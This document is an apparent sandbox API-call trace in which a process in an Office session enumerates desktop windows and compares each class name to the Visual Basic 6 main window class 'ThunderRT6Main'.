	[0085.337] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0085.337] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.337] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.337] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.337] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0085.337] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0085.337] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0085.337] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0085.337] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.337] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.337] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.337] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0085.337] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0085.337] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0085.337] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0085.337] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0085.337] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0085.337] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.337] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0085.337] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0085.337] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0085.337] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0085.338] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0085.338] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0085.338] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0085.338] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0085.338] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0085.338] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0085.338] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.338] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0085.338] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0085.338] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0085.338] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0085.338] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.338] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.338] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0085.338] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0085.338] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0085.338] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0085.338] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0085.338] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0085.338] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0085.338] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0085.338] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.338] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0085.338] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0085.338] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0085.338] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0085.338] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.338] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0085.338] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0085.338] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0085.338] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0085.338] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0085.338] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0085.338] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.338] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.338] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0085.338] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0085.338] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0085.338] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0085.338] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0085.338] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0085.339] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.339] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.339] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0085.339] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0085.339] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0085.339] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0085.339] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0085.339] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0085.339] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.339] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.339] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0085.339] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0085.339] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0085.339] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0085.339] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0085.339] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0085.339] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.339] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.339] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0085.339] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0085.339] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0085.339] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0085.339] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0085.339] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0085.339] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.339] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.340] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0085.340] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0085.340] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0085.340] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0085.340] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0085.340] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0085.340] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.340] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.340] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0085.340] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0085.340] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0085.340] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0085.340] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0085.340] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0085.340] GetClassNameA (in: hWnd=0x20182, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.340] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.340] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0085.340] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0085.340] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0085.340] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0085.340] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0085.340] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0085.340] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.340] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.340] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0085.340] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0085.340] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0085.340] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0085.340] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0085.340] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0085.340] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.340] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.340] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0085.340] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0085.340] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0085.340] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0085.340] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0085.341] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0085.341] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.341] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.341] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0085.341] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0085.341] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0085.341] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0085.341] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0085.341] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0085.341] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.341] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.341] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0085.341] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0085.341] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0085.341] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0085.341] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0085.341] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0085.341] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.341] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.341] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0085.341] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0085.341] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0085.341] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0085.341] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0085.341] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0085.341] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.341] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.341] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0085.341] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0085.341] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0085.341] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0085.341] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0085.341] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0085.341] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.341] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.341] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0085.341] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0085.342] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0085.342] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0085.342] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0085.342] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0085.342] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.342] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.342] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0085.342] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0085.342] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0085.342] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0085.342] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0085.342] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0085.342] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.342] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.342] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0085.342] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0085.342] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0085.342] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0085.342] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0085.342] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0085.342] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.342] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.342] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0085.342] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0085.342] GetClassNameA (in: hWnd=0x50118, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0085.342] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0085.342] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0085.342] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0085.342] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.342] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.342] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0085.342] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0085.342] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0085.342] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0085.342] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0085.342] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0085.342] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0085.342] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0085.342] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0085.342] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0085.342] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0085.342] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0085.343] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0085.343] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0085.343] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0085.343] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0085.343] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0085.343] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0085.343] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0085.343] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0085.343] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0085.343] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0085.343] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.343] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.343] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0085.343] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0085.343] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0085.343] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0085.343] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0085.343] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0085.343] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.343] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.343] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0085.343] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0085.343] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0085.343] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0085.344] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0085.344] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.344] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0085.344] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0085.344] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0085.344] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0085.344] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0085.344] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.344] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.344] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0085.344] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0085.344] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.344] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0085.344] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0085.344] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.344] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0085.344] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.344] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.344] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0085.344] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.344] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.344] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0085.344] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.344] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.344] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
